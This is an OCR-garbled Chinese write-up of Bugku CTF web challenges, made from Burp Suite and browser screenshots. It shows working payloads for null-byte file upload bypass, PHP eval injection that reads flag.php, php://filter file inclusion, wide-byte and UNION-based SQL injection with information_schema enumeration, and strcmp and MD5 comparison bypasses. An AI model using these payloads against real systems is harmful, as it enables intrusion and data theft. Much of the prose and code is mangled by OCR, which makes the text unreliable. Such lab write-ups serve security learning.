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[w ﬂ Elements Console Sources Network Performance Memory  Application  Security » @1 A2 b4
Styles | Computed Event Listeners DOM Breakpoints Properties
Filter thov .cls +,
html xmlns="http://www.w3.org/1999/xhtml element.style {
P chead>..</head> ¥
«=« W <body id="body" onload="init()"> == %8 body { index):18
<l--flag KEY{Web-2-bugKssNNikls916@}--> margin:» @;
<script type="text/javascript”™ src="js/ padding:» 8;
ThreeCanvas.ijs [script position: relative;
script type="text/javascript” src="js/Snow.js"> background-image: url({images/xh.jpg);
</script background-position:® center;
P oscript type="text/javascript”r.</script backgreund—repeatno—repeats
P cdive.</div - width: 16e%;
—" height: 1@@%;
_html - B background-size: 108% 106%; ™
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B! Burp Suite Community Edition v1.7.30 - Temporary Project - =mi= g

| Burp Intruder Repeater Window Help |

[Targel l’ Proxy l’ Spider I Scanner l’ Intruder TRepeatel T Sequencer l’ Decoder I Comparer l’ Extender I Project options l’ User options TAIerT.S }

Go Cancel <|* >|v Target: http://103.238.227.13:10085 | & | 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST M HTTR/1 : HTTR/1.1 200 OK :
Host: 103.238.227.13:100685 Server: nginx
Content-Length: 181 Date: Mon, 18 Dec 2017 08:26:21 GMT
|| cache-Contral: max-age=0 Content-Type: text/html; charset=utf-8
Crigin: http://103.238.227.13:10085 Connection: close i
Upgrade-Insecure-Requests: 1 Wary: Accept-Encaoding
Content-Type: multipatfform-data; boundary=----WebKitFormBoundarylU4zDOXFOY CaMMQb K-Powered-By: PHP/7.0.7
User-Agent: Mozilla/5.0 (Windows NT B.1; WinB4; x64) Apple\WebKit/537.36 (KHTNIL, like Gecka) Content-Length: 37
Chrome/63.0.3239 84 Safari/537 36
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng,*/*;q=0.8 Flag:42e97d465f62c53d9549377b513cie
Referer: http://103.238.227 .13:10088/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CM,zh;q=0.9
Connection: close
i
------ WebKitFormBoundarylJ4zD0X70Y CaMMQb
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/png
123 '\
o WebkitFormBoundarylU4zD0X70Y CaMMQb--
|
9 e
v v|
? < + > | | Type a search term 0 matches ? < + > | | Type a search term 0 matches
Done 235 bytes | 50 millis
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TR . TR, RHAW T Content-TypeI{E, WRREimage sl bk T BIR M. MRS58 H58H X 3
PEEOSRBEATRI, P A_E A% SO SER i R phpid 2 B F i Ok R H A 248 X, #RILFEKR. M ERWriteUp#i2 B2
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B! Burp Suite Community Edition v1.7.30 - Temporary Project - e (2]

Burp Intruder Repeater Window Help

[Targel T Proxy T Spider I Scanner T Intruder IRepea:el I Sequencer T Decoder I Comparer T Extender I Project options T User options TAIer‘ts }

2 = | ..
Go Cancel < |v > |v Target: http://103.238.227.13:10085 [ﬁ@

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /HTTRA 1 & HTTP/.1 200 OK A
|| Host: 103.238.227 1310085 I Sewer nginx E

Content-Length: 204 Date: Mon, 18 Dec 2017 08:34:068 GMT

Cache-Control: max-age=0 Content-Type: text/html; charset=utf-8
I Crigin: http://103.238.227.13:10085 Connection: close

Upgrade-Insecure-Requests: 1 Wary: Accept-Encoding

Content-Type: multipant/form-data; boundary=---WebKitFormBoundarylU4zDOXFOY CaMMQb X-Powered-By: PHP/7.0.7

User-Agent: Mozilla/5.0 (Windows NT 6.1; Winb4; x64) Apple'WebKit/537.36 (KHTNL, like Gecka) Content-Length: 15

Chrome/63.0.3239.684 Safari/537.36

Accept: text/html application/xhtm|+xml application/xml;g=0.9 image/webp image/apng,** q=0.3 A

Referer: http:#/103.238.227 13:10085/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM zh;q=0.9

Connection: close




—————— WebKitFormBoundarylU4zD0X70Y CaMMQb
Content-Disposition: form-data; name="filz"; filaname="2.php%001.jpg" |
Content-Type: application/octet-stream

- -
1 11
+ < + = Type a search term 0 matches ? < + > Type a search term 0 matches
Done 213 bytes | 53 millis
L g

AUEE], 7EContent-Type N RMAKE A& X ICMFIIE, %00#R M = 58d R ¥A AN . BT BLE IE R S 288 i 77 AR %
R i@ Content-Type, FFARNM LIS, RIFFIRS S ERXHFERSL.

HHE
BAVEM TS WIS B PRAERER, KIBMMERBAKERERSE T, RAgMA—1 87, BEEELpLF &
BE LR R R,

B AT AZE S SR 2% h B O RS, R AAE K B IR I Oh e R A 2N 80T

D mssEEREE x|\

C | @ T2 | 120.24.86.145:8002/yanzhengma/

|

(w ﬂ Elements Console Sources MNetwork  Performance Memory  Application  Security » 01 : X L
i “ Styles | Computed Event Listeners DOM Breakpoints Properties

<html xmlns="http://wew.w3.org/1999/xhtml" >

b chead>..</head> Filter thov .cls +, -

¥ <body>
<span id="code"” class="code" style="background:
rgb(18@, 3@, 173); color: rgbh{95, 78, 156);">
38+75=7?</span>

element.style {
} )

body { user agent stylesheet

<input type="text" class="input” maxlength="3":> display: block;
<button id="check">%1F</button> margin: ® 8px; b
P odiv style="text-align:center; >..</div> 1
<script src="Js/jquery-1.12.3.min.js"></script>
<script type="text/javascript” src="js/code.js">» . . . .
</script> i margin 8 i
nas <fbl3d)"> = 53 - i barder _ i
Rl body | | | padding - o M

o web#nl $§_GET
REMREMEEE, R ERMNME TR S/E 6 EEEHENCGETIT K.
. . L R P e e

X

[N 120.24.86.145:8002/gc X \




& & ‘ @ 120.24.86.145:8002/get/?what=flag ﬂr: 0O %

Swhat=$ _GET['what']; \
echo $what;

if(Swhat=="flag")
echo 'flag{****};
flagflag{bugku_get_su8kej2en}

o web¥nli $§ POST
i FFireFoxfhackbar LB, &, ZRBATLLE S5 —4~/Mipythonfii A £ R 3postS .

_ ] —=ni=h
| 120.24.86.145:8002/post/ x\-l-
€ | () 120.24.86.145:8002/post/ Boo || Qe wBe ¥$ & 0 » =
B Bipn @ CTF - #39%s ) [BAS=] 2FPH.. @ iTtk @ 120.24.86.145:8002... » [ EEiREE
INT Y| = & SQL- XSS- Encryption- Encoding~ Other-

& Lload URL  http://120.24.86.145:8002/post/
% Split URL
’ Execute
Enable Post data [ | Enable Referrer
Post data what=flag|

\ +

$what=$%_POST['what'];

echo $what;

if($what=="flag")

echo 'flag{****}’;
flagflag{bugku_get_ssseint67se}
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F, ARTFEFHEELEN, RASERTRERUNIET, BE5SHFEITHE. U, XERREME - NTFRH, £
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BAERRE: 51H%,

[} 120.24.86.145:8002/ge x\\._ .
< Cc | © 120.24.86.145:8002/get/index1.php?num=1%002

$num=$_GET['num’];
if(lis_numeric($num))
{

echo $hum;
f(Snum==1)

echo 'flag{r#xrrnsexy

}
12flag{bugku-789-ps-ssdf}
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e Web3
TIAMT U ER —EE#IE, NMZES T —Halertt, £—EHENERL TEAZIMITEL, FrUb#iEs, FI28E, &
BRI htmISE 4k, Fe#ad KBS Ziflag. WA

= 5 e |

BKCTF-WEB3 x

-_:(-'-(D 120.24.86.145:8002/web3/index.html B oo | Qes wBa $ & B8 »
8 Bxinin @ CTF-53%a () URAH=] 2FPH.. @ iTtR @ 120.24.86.145:8002/... » [ BaELE

e EEE=S O Ot (e G e = B4 @editThsco BB B ©@ O 8 X
- R HTML & B

alert("flagffiEizE");

alert("RIHM); .
alert("flagfiiEizE"); EHEY
alert("RIHM); B
alert("flagffiEizE");

alert("FIETEE Y ;

alert("flagfiiEizE");

alert("FIEIEIL);

alert("flagBitEizE");

alert("FHETEL);

alert("flaghfi®izE");

alert("FHETEL);

alert("flaghfi®izE");

alert("SR{EIT");

<! --&#?5;&#59;&#39;&#123;&#?4;&#59;&#115;&#9?;&#52;&#59;&#9?;&#194;&#?4;&#?5;&#45;&#?2;&#33;&3;49;&#:@

—
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< | = 1 | 3
* head

© script




sqliEA
FBHYRSVEN, AR —T. W& id=1", THRARKEHRELEN. PN ZRAEG S HELTT . XFERLT
ERB 5] 5 Mpayload i B INEREEMA T . XEFEEENBEEEFWIEN (FILEARD .

FEGBKARIGES, mysqiINAFRANERF - —MNF (ER— N E T ascild K F12811E M T) » MEdH L2 fEH$5|

SN, BI%5c%27 . HiE id=1%df%27%23 , TELIEH W AE#EAmysqlRt, B2 1d=1%df%5c%27%23 , mysqIfEMEHTET,
2N A%d%5cE — M T, T%227HMEHEEREARsqiBEaF K () 855, Bl select xxx from xxx where
id="%df%sc'#' , %23 FHEBEFEAsqEAFH (F) B55. XREREFTHEANNFEE,

ME T RMEWESqIES], RKEMkeyE, d=1fstringFB T . #i& id=1%df%27 union select 1,database()%23, 753
B E 2 R Asql5.

&) l=l=

/_D SQUIEA g\ L |
C [ ® 103.238.227.13:10083/?id=1%df%27%20union%20select%201 database()%23 &y fk_ (o I -
S nd ~, -
SQLIFENME
HikeyZ=.id=10string=E%
id 1
key fdsafdasfdsa
id 1
key sgl5

i id=1%df%27 union select 1,string from sql5.key where id=1%23, B RIRLKLEHE.

‘/Esqm !: Rpyemah NS I =

&) [G)103.238.227.13.10083/?|d—1%df%27%20un|on%205e|ect%201,string%ZOfrom%ZOsqlS.key%20where%20id:1%23 & }k| 0O %

| SQUEAW T

EifkeyF=.id=1Mstring=FEz

id 1

key fdsafdasfdsa

id 1

key 54f3320dc261f313ba712eb3f13a1f6d

AN




SQLAEA1
BESG W T RNMAARE, SFRN: EARNTFEMABNRRY, EHELEET . WHXBEAEHE P xssidBEHT
2. XA R HURAE XN sqRE N B B st RILIR T .. 84 S RARTEsqQREN K B FrRe i 51 B — > xssid U8 i iR £ ?

ALLE ER R, BRANEEE RS KkeyRPid=11hashFBE, LR H Blunion. select. from. where, {H27 H Hid i
T, FrUBEIMNEE AL ESRIE XA E, REERERmMIKARSREI BT HE, HIF— Ry, X Mg E
—BS R, TESHEExss)E, EAREIRTHRBFZHRER", BRI ULHERT .

A E—ANEE—F, SEIHEEELR, Hikflag. HEEELFRAsq3.

', , o e ey & el =1
/D squasst * \ . . -
<« (& [@ 103.238.227.13:10087/?id=1%20uni<p>on%20sele<p>ct%201,database()%23 & ﬁ O % :
{ - ) - | -
exit("HEBEEEHET! ' dvalue);
}
¥
[/ xssTLiE

$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

4 »
LREESE

id 1

title title

id 1

title SO

[ O e ey &) le=li=]
/D squas N S -

<« (& [G)103.238.227.13:10087/?id:1%20uni<p>0n%205ele<‘p>ct%201,hash%20fr<p>0m%205q\3.key%2()wh(3<p>re%20id:1%23 Bw O %

i
exit("EEHEERT ' dvalue);
}

¥

//xssiTHE
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

id 1 |
title title

id 1

title c3d3c17bdcaTi791185e#$ 1ccT2af274atade!

!__————______—__—’ ™




RAFiLEET
XIBERZEZRMERBFTLEET, TRREZE, MR—EERS, Tk, REMOMLZLETUET, BEIH
BurpSuite$lf, AILLEEE 2IM TTIEL

Burp Intruder Repeater Window Help |
[Target T Proxy TSplder IScanner T Intruder TRepeatel T Sequencer T Decoder I Comparer T Extender I Project options T User options TAJerts }
G = | .
Go || cancel [ <|v]]| >|v Target: http://120.24.86.145:8002 | | 7 |
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render }
GET fweb12/ HTTP 1 : HTTR/1.1 200 OK :
Host: 120.24.66.145:6002 Server: nginx
User-Agent: Mozilla/s.0 (Windows NT 6.1; Winb4; x64; nv56.0) Gecko/20100101 Firefox/56.0 Date: Mon, 18 Dec 2017 12:18:49 GMT
Accept: text/html, application/xhtml+xml application/xml; g=0.9,%* ¢=0.8 Content-Type: text/html
Accept-Language: zh-CM,zh;q=0.8 &n-US;q=0.5 &n;q=03 Connection: close
Accept-Encoding: gzip, deflate Content-Length: 630
Cookie: |Secer=s:0:""
Connection: close <html>
Upgrade-Insecure-Requests: 1 <head>
Cache-Control: max-age=0 <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description” content="">
<meta name="author" content="">
<title=Dummy game</title>
</head>
| <script language="JavaScript"=
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh(),500); i
</script>
<body>
<center=<strong>l want to play Dummy game with others€jBut | can’t stop!</strong=</center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="10.jpg"/></div></center><hr><a
style="display:none">flag{dummy_game_1s_s0_popular}</a></body>
</html> /V
- e
5 &
i < + = Type a search term 0 matches ? < + = Type & search term 0 matches
Done 766 bytes | 37 millis

(A= httpk Z R JLKH AT LLE Blflag T - D
A

& H 4 B ERS A A T flag.php X, BRATERBIflag—EMERXANXHF . val_dump() ESaITENBI W E +, IHEANRE
it$aflag.phpMI B TLLT « FrbAAEIMEMEhellofIfE. hello=file_get contents('flag.php') TEVEIGH AT LEE
FlflagifE T . XEFF|T file_get_contents ()X EL.

—

- - — & e | B [
/D 120.24.86.145:8003/7h  x \: \
pr e _—

< (& ‘(D 120.24.86.145:8003/?hello=file_get_contents(%27flag.php%27) ‘ﬁr| 0O %

string(84) "" <ophp
include “flag.php”;
$2 = 0% _REQUEST[ hello' ]
eval {  “var_dump($a):”):
show_source (__FILE__);

>

= Al Flamantc Crncnla Crnuirrac Motk

Darfarmanca hamanngy Arnnlicratinn Carnritu Anidite ¥

e




L | (LS eyTee] AT A [RTeSL TN T I P Ly U R L eIy [t Tpee] - = -~

<html> Styles | Computed Event Listeners DOM Breakpoints Properties
<head>< /head>
Filter thov .cls + -
“string(s4) " element.style {
<!--?php
$flag = "Too Young Too Simple”; ¥
# echo $flag; body { user agent stylesheet
# flag{bug-ctf-gg-99%; display: block;
?--> margin: » 8px;
¥
P <code>..</code>
</body> margin P
</html> border =
Nl body | ] - S | /| ri

BB W] LLIXFE
hello=1);$file=fopen("flag.php","r");echo fread($file,filesize("flag.php"));fclose($file);//
Bt EN K77 2ok 15 Elflag.php I R 2

m'-“d—l S v ORI A SRS
e ——

] [} 120.24.86.145:8003/7h x

< (& [ @ 120.24.86.145:8003/?hello=1);$file=fopen("flag.php”,"r");:echo%20fread($file filesize("flag.php™));fclose($file)// v © @
int(1) <tphp
include  “flag.php”;
$a = @F_REQUEST[  hello' 1
evalll Tvar dump(fald:;”);
show_source (__FILE__);
i
! [w ﬂ Elements Console Sources Network Performance Memory Application  Security  Audits  EditThisCookie X
<html> Styles | Computed Event Listeners DOM Breakpoints Properties
<head>»</head>
- ¥ <body> == §6 Filter thov .cls + -
:1nt(1) element.style {
<!--?php J
$flag = 'Too Young Too Simple’; body { user agent stylesheet
# echo $flag; display: block;
# flag{bug-ctf-gg-99}; margin: ® 8px;
2o ¥
P <code>..</code> \
</body>
</html> margin 8
border =
html  Podag: csdn. ny ri
ZE1

EMT F BRI, BhEENEEKargsS BT ENLE, \W+HGEFR. HF. TRE, mBEILEARE, B
args error, DGHEZEIHSIAT

eval("var_dump($$args);");

XEERBI$Sargs, XRphpHI—Mim: ZEATUSER —MRENZES. PHP— M HBEAEBHZESGLOBALS: —
METEHZENERAGHH. RENATRESANE. XMEERZRAE 7TX/MEE. Hikargs=GLOBALS

' a W P ———— T e
D 120.24.86.145:8004/in« x\\ E

€  C | ®120.24.86.145:8004/index1.php?args=GLOBALS ww 0O %

(T

flag In the variable ! <aphp

error_reporting(0);
include “flagl.php”;




highlight_file(_ file_ J;
if(isset (§_GET[ args’ 10) {
jargs = § GET[ ares’];
if(lpreg_match(”/ \wtd/”, fargs)) |
die("args error!”);
1

eval ("var_dump ($$ares); "), |
}
T

array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=>
string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38)
"flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

o Web4

BEFEN, FREGPFascifdRZ a7/ E, BEUGHIIX KA. RIEARS % AR K passwordf AR 7T
(password ~N67d709b2b54aa2aa648cf6e87a7114f1)

B! Burp Suite Community Edition v1.7.30 - Temporary Project

Burp Intruder Repeater Window Help

[Target [ Proxy T Spider T Scanner [ Intruder T Repeater I Sequencer I Decoder [ Comparer T Extender I Project options I User options [Alerts ]

- X L\

function checkSubmit()}{var a=document.getElementByld("password");if 'undefined"I=typeof
a)fifl"67d709b2baab48cf6ed7ar 1141 "==a value)return!0;alert{"Error");a.-focus();return1}}document. getElementByld{"levelQuest").onsubmit=checkSubmit;)




function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a)

{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!o;
alert("Error");
a.focus();
return!1l
}

}
document.getElementById("levelQuest").onsubmit=checkSubmit;

o Web5
M E—NEERL, FEEHER, B —MERRSNERFSE, FHMmWriteUp i 11X 7 7F 5 i Flgoole_Lconsole B
MHRT, BER—BERE. BEFEEEREEHE.
flag7t indexH
& B & kR A lag@ EindexphpH, HEEEBEIRBEEAlaght, TN ZREEEET, REHSEETUEES. £RF
WHIB KRB, <a href="./index.php?file=show.php">click me? no</a> REXHEE. Fibiiy

i file=php://filter/read=convert.base64-encode/resource=index.php

F -

_zi. [ Bugku-ctf x \\ % - - an - . .

< & |G) 120.24.86.145:3005/post/index.php?file=php://filter/read=convert.base64-encode/resource=indexphp & v ©O [}

‘PGhObWw+DQogICAgPHdeGxIPleZZtlLWNOijvdGIObGU+DQ CAgDQo8P3BocAOKCWVYcm9yX3JlcGOydGluZygwKTshN

—— [ )

4 » |l
[w ﬂ Elements Console Sources Network Performance Memory  Application  Security  Audits  EditThisCookie X
<hml> Styles | Computed Event Listeners »

P chead>..</head>
- ¥ <body> == $6 Filter thov .cls + =

"PGhebliw+DQogICAgPHRpdGx1PKkI1Z2t1LWNOZ juwvdG10bGU+DQogICAgDQo8P3BocABKCWY Yy cmOyX311cG9ydGluZygwK TsNCglpZigh ‘

JFOHRVRbZ] s7V@pe2V]aG8g]2xhIGhy ZWYST 14vaki5kZXgucChwP2ZpbGUIc2hvdySwaHAi Pmiis aWir 161 1PyBubzuvYTAn038NCakkz| = S"et-stv1e |
mlsZTAkXAdFVFsnZmlsZSddOwBKCWimKHNG@cnN@cigkZmlsZSwil i4vIil8FfHNOcmlzdHIoIGZpbGUsICIBcCIpfHxzdHIpe3RyKCRmall
¥1LCIpbnBLdCIpfHxzdHIpe 3Ry KCRmalix1LCIkYXRhI1kpew@KCQ11Y2hyICIPaCBubyEiOwOKCL1e61OKCK7D00T FOBKCWILY2x12GU| body { user agent stylesheet
01GZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfIWxpZ19sYWhvbF9zaVozallh@fQeKPz4NC jwvaHRtbDANCg== display: block;

margin:® 8px;
</body> T
<fhtml> l

margin 8

border -

htmi m padding - -

Kindex.php 3 Lhbase644mig Nt , ¥4 H WA ED, BIEE Flindex.phpIEHELE. WHE.

Burp Suite Community Edition v1.7.30 - Temporary Project e

Burp Intruder Repeater Window Help

. [Target I Proxy TSpider TScanner I Intruder I Repeater ISequencer TDecndel IComparer T Extender I Proje

PGhObWiw+DQoglCAgPHRpdGxIPkJZ2t 1LWNOZjwwdGl0bGU+DQoglCAgDQ08P3BacAIKCWVyemIyX3ic Gyd(

/




= .

WS (=

ifistrstr(3file,”./)|stristr(3file, "tp")||stristr($file, "input")||stristr($file, "data”){
echo "Oh naol™;
exit();

}
include(file);
/Mag-flag{edulcni_elif_lacol_si_siht}

e \
</html=

php:/ffilter/read=<iL 4 7 2 5 F i) 1d 38 23 51| & >/resource=index.php

e phpcmsV9
R LR, REARB RN RS, ERISHINRRFEA content B M LY M %R &AW = KRR,
P st A MOXAMEE T ..

e #HCMS
X REHEFECmsIE IR T HT & getshelliwil, i KIpayload # 2 FE E K. ZAEMA T evalR$, JFBAERZBIBA 2% K,
BT PASx B 17 R

o MABMAEEflag
PR LD R B EE, HIEE R Z10000-99999, BB IR, %L HN13579.

Attack Save Columns

j Results TTarget T Positions I Payloads T Options ]

Filter: Showing all items ?
Request | Payload | Status | Error | Timeout|Length 4| Comment
3 13579 200 O ] 26 [a]
0 200 g O 1327"\ A
1 135877 200 Ol Ol 1327
2 13578 200 O] O] 1327 W,
4 13580 200 Ol Ol 1327
5 13581 200 O] O] 1327
6 13582 200 Ol Ol 1327
T 13583 200 O] O] 1327
8 13584 200 Ol Ol 1327 "
' 9 13585 200 O] O] 1327 ."' {
Request | Response ]
;J Raw T Headers T Hex } |
HTTR/.1 200 OK :

Server: nginx

Date: Tue, 19 Dec 2017 02:59:52 GMT
Content-Type: text/html ‘
Connection: close
Set-Cookie: isview=13579; expires=Tue, 19-Dec-2017 05:59:52 GMT "
Content-Length: 46

flag{bugku-baopo-hah}
*




</body>
b </html>

|
s < + > | | Type a search term

25 of 86423 |

&K

B Sindex.phpH s i 88" 2 Ja Bk #% Blcode.tt, XEERPIMRBER: BRRZINEE, FAVI. CHENFREAHEE,
HEEMHMASINFEEHE, £ EERZ ERIIXH AN ZR/FEZQNKCDZOF240610708; 1&iEHIV3EE Sflagt %4 1
Plecho flag, XFERREMEIMEST if(Istremp($v3, $flag)) HIWT.

FE T phpHstrempiX AN R —NRTE: A B SOAFERF BN, REZER—ER0, PFrUARMAZLLSERE -
HMATLLT « & Hitpayload’y ?v1=QNKCDZ0&v2=240610708&v3[]=1 (VERE LBV Hindex phpit&i#ix &%) . php
HESERREEMGES, FENTEAHA.

. (&=l E ]

[ 47.93.190.246:49162/7 x\‘-.\ ‘-.___

& C ‘ ® 47.93.190.246:49162/?v1=QNKCDZO8&w2=2406107088v3[]=1 }2{‘ 0 %

EREERA R |, RN, :

RO RS RT 75H% | EERERNOAAARETH , 25 B8R0k ..

o o © ©° 0 o

HERHE T4, BARERN 1
ETSREET. o o ..ol
PHPRIHR FRIFENES

SKCTF{Php_1s_tH3_B3St_L4NgUag3} —

-

[w ﬂ Elements Console  Sources MNetwork  Performance Memory  Application  Security  Audits  EditThisCookie i X
<html> Styles | Computed Event Listeners
» chead>..</head>
mi’<body> == %0 Filter thov .cls +‘ -
»ods . . .
<div align="center”>.</div> element.style {
</body> }
</html> -
htmi m |body { user agent stylesheet .

e JavaScript
BEMTIRG, jsHIAAIW T clickcountf M, 7EFRAT M &5 IKECK T 10000008, &4 g —Morm&E#E FHpostH R H IR,
mHRRZBATE, BABRIMANE NIRRT MATAT . (RRXZEERSHRWHER —IREIER, FrLARAEH
clicks{ & E i  clicks>=1000000)

: = | [E] |-l
| RE—EAR x
€& () 120.24.86.145:9001/test/ 3 C i 3 B ¥ A& » =
2 BEipE @ CTF - 53%F& 0] [BASE] =FPH... @ TR @ 120.24.86.145:8002/... » [ EEREE
INT Y| = @& SQL- XSS- Encryption- Encoding- Other-

s Load URL  http://120.24.86.145:9001/test/ -



% split URL +

e Execute

¥ | Enable Post data Enable Referrer

Post data clicks=1000000 i

\ +

flag{Not_C00kI3Cl1ck3r}

5%
B, BHREULRNEARS, FUMZRBsqQIEATRRN, £WA—T: 25EA1. 1. 1'%, RAERAN
TH, BERSER, FUXERAEANRK, I EIRS 3505 T8 IRER .

TR union select, 2 HIER Blflag i EEMBIEESL . R4 FlE. WTE, Wi& ' union select
database(),database(),database(),database()#

(XEARHER 1' union select database(),database(),database(),database()#, HIREANIXNMEE], RIERKAR
MEFERMA 1 R—HFK, BTLOX BNz RS S T Eagr TRE, RAawit—17, mRMNEiERE#database()
RIS RS ZATH, FTULEERER. FrUERNTELERINMEUENEAREERNSERPHRE —TH. )

XFERATBAT 2 T 248 4 Hysketf_flag

— — ~ - ~
B! Burp Suite Community Edition v1.7.30 - Temporary Project - == &

Burp Intruder Repeater Window Help

[Target T T Spider I Scanner T Intruder I Repeater I Sequencer T Decoder I Comparer T Extender I Project options T User options TAIerts }

] - |
| Go | | < | Target: http://120.24.86.145:8002 l,/\ | rd|
Raw | Params I Headers I Hex l [ Raw T Headers I Hex I HTML | Render
FPOST /chengjidan/index. php HTTR/1.1 A A
Host: 120.24.86.145:6002 r nooooo I
User-Agent: Mozilla/5.0 (Windows NT 6.1; WinB4; x64; n56.0) Gecko/20100101
Firefox/56.0
Accept: text/html, application/xhtml+xml application/xml; g=0.9,** ¢=0.8
Accept-Language: zh-CN,zh;q=0.8en-US;q=05 en;q=03
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Referer: http://120.24 86.145:8002/chengjidan/index php Submit
Cookie: [Secer=s.0:"", PHPSESSID=6s4aunktr as1d3krmapauhplgodtahve
Connection: close Math English
Upgrade-Insecure-Requests: 1
skctf_flag skctf_flag

id="union select database() database() database() database(# \




=
v

0 matches

-
v

=i |
1,386 bytes | 408 millis

BETR, HANEKBIsketl_flaghii EFHHILANR, REREMlagiRKIRS . 2HE

offset o# , BEIRXNMEIEEFF22IME, BARLD I NMG. sc. WHE.

[ Burp suite Com R Er e ———
Burp Suite Community Edition v1.7.30 - Temporary Project m

union select 1,count(table_name),1,1 from information_schema.tables where table_schema='skctf_flag' #

union select 1,table_name,1,1 from information_schema.tables where table_schema='skctf_flag' limit 1

. :-El-u

Burp Intruder Repeater Window Help

[Target T Proxy TSpider ISranner T Intruder TRepe:iH I Sequencer T Decoder I Comparer T Extender I Project options T User options TAJerts }

1= | ..
( Go ] Cancel .-<|v. > |
Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render |

Target: http://120.24.86.145:8002 w (2]

POST /chengjidan/index.php HTTF/1.1

Host: 120.24.86.145:8002

User-Agent: Mozilla/5.0 (Windows NT B.1; WinG4; x64; nv56.0) Gecko/20100101
Firefox/56.0

Accept: text/html, application/xhtml+xml application/xml; g=0.9,%* ¢=0.8
Accept-Language: zh-CM,zh;q=0.8 2n-US;q=0.5&n;q=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/c-www-form-urlencoded

Content-Length: 106

Referer: http:4120.24.86.145:8002/chengjidanfindex. php

Cookie: |Secer=s:0:""; PHPSESSID=6s4aunkt7 as1d3krmSpauhplgodBahve
Connection: close

Upgrade-Insecure-Requests: 1

id="union select 1 puunlt}able_name)ﬂ \1 from information_schema.tables where
table_schema='skctf_flag' #

L

oooood

Submit

e e

Y

=
v

0 matches

s

J I

b
v

1,350 bytes | 49 millis

Burp Suite Com RN m————
Burp Suite Community Edition v1.7.30 - Temporary Project m

[ R = )

Burp Intruder Repeater Window Help

[Target T Proxy TSpider TScanner T Intruder TRepeatel T Sequencer T Decoder I Comparer T Extender I Project options T User options TAJerts }




Go Cancel < |v > Target: hitp://120.24.86.145:8002 w w

Request Response

- Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST fchengjidan/indesx. php HTTR/ 1

Host: 120.24 86.145:8002

User-Agent: Mozilla/5.0 (Windows NT B.1; WinG4; x64; v56.0) Geckof20100101
Firefox/56.0

Accept: text/html application/xhtml+xml application/sml;q=0.9 */*,¢=0.8
Accept-Language: zh-CM zh;q=0.8 en-US;q=05 en;q=03

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 116 —_—
Referer: http:/120.24.66.145:8002/chengjidanfindex. php Submit

Cookie: |Secer=s:0:""; PHPSESSID=6s4aunkir as1d3krmSpauhplgodBahve
Upgrade-Insecure-Requests: 1
fldg v 1 1

e
e

oooood

id="union select 1 table_name 1,1 from information_schema.tables whers
table_schema='sketf flag' limit 1 offset 0 #

-
v

EJ [LJ u bJ Type a search term 0 matches e = > ‘i

Done 1,353 bytes | 49 millis

BT R A Eskctf_flag ldgiXMERPH LI, FILERM 24, WAFIRMBATERKIAagH KK, KL, 25HHiE

union select 1,count(column_name),1,1 from information_schema.columns where table_schema='skctf_flag' and

table_name='fl4g'#

union select 1,column_name,1,1 from information_schema.columns where table_schema='skctf flag' and

table_name='fl4g' limit 1#

BrRIZERPRE I, FILAMBEEELMR, W Asketl flag

Burp Suite Community Edition v1.7.30 - Temporary Pruject— ‘ ‘ - ﬂ@u

| Burp Intruder Repeater Window Help |

[Target T Proxy TSplder IScanner T Intruder TLE&I Sequencer T Decoder I Comparer T Extender I Project options T User options TAJerts 1

Go || cancel |[<|v || >|* Target: hitp://120.24.86.145:8002 @ 2]
Request Response

- Params | Headers | Hex Raw | Headers | Hex | HTML | Render

FPOST /chengjidan/index. php HTTR/1.1

Host: 120.24.86.145:8002

User-Agent: Mozilla/s.0 (Windows NT 6.1; Winb4; x64; nv56.0) Gecko/20100101
Firefox/56.0

Accept: text/html, application/xhtml+xml application/xml; g=0.9,** ¢=0.8
Accept-Language: zh-CM zh;q=0.8 &n-US;q=0.5 &n;q=03

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 130

Referer: http://120.24 86.145:8002/chengjidan/index. php Submit

Cookie: |Secer=s:0:"", PHPSESSID=6s4aunkt7 as1d3krmspauhplgodBahve
Upgrade-Insecure-Requests 1/

1 ¥ 1 1
id="union select 1 count(column_name),1,1 from information_schema.columns whers
table_schema='skctf_flag' and table_nams="fldg%#

T
>

oooood




b

5

- < + = Type a search term 0 matches
Done

-
v

= T

1,350 bytes | 46 millis

Burp Suite Community Edition v1.7.30 - Temporary Project £ .
| Burp Intruder Repeater Window Help |
[Targel T Proxy T Spider I Scanner T Intruder TRepea:el I Sequencer T Decoder I Comparer T Extender I Project options T User options TAIer‘ts }
1= | ..
Go Cancel < | >|v Target: http://120.24.86.145:8002 | # || 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML ]—Render ]
POST fchengjidan/index. php HTTR/1 1 A A
Host: 120.24 861458002 M booono i
User-Agent: Mozilla/s.0 (Windows NT B.1; WinG4; x64; nv:56.0) Gecko/20100101
Firefox/56.0
Accept: text/html application/xhtml+xml application/xml; g=0.9,%* ¢=0.8
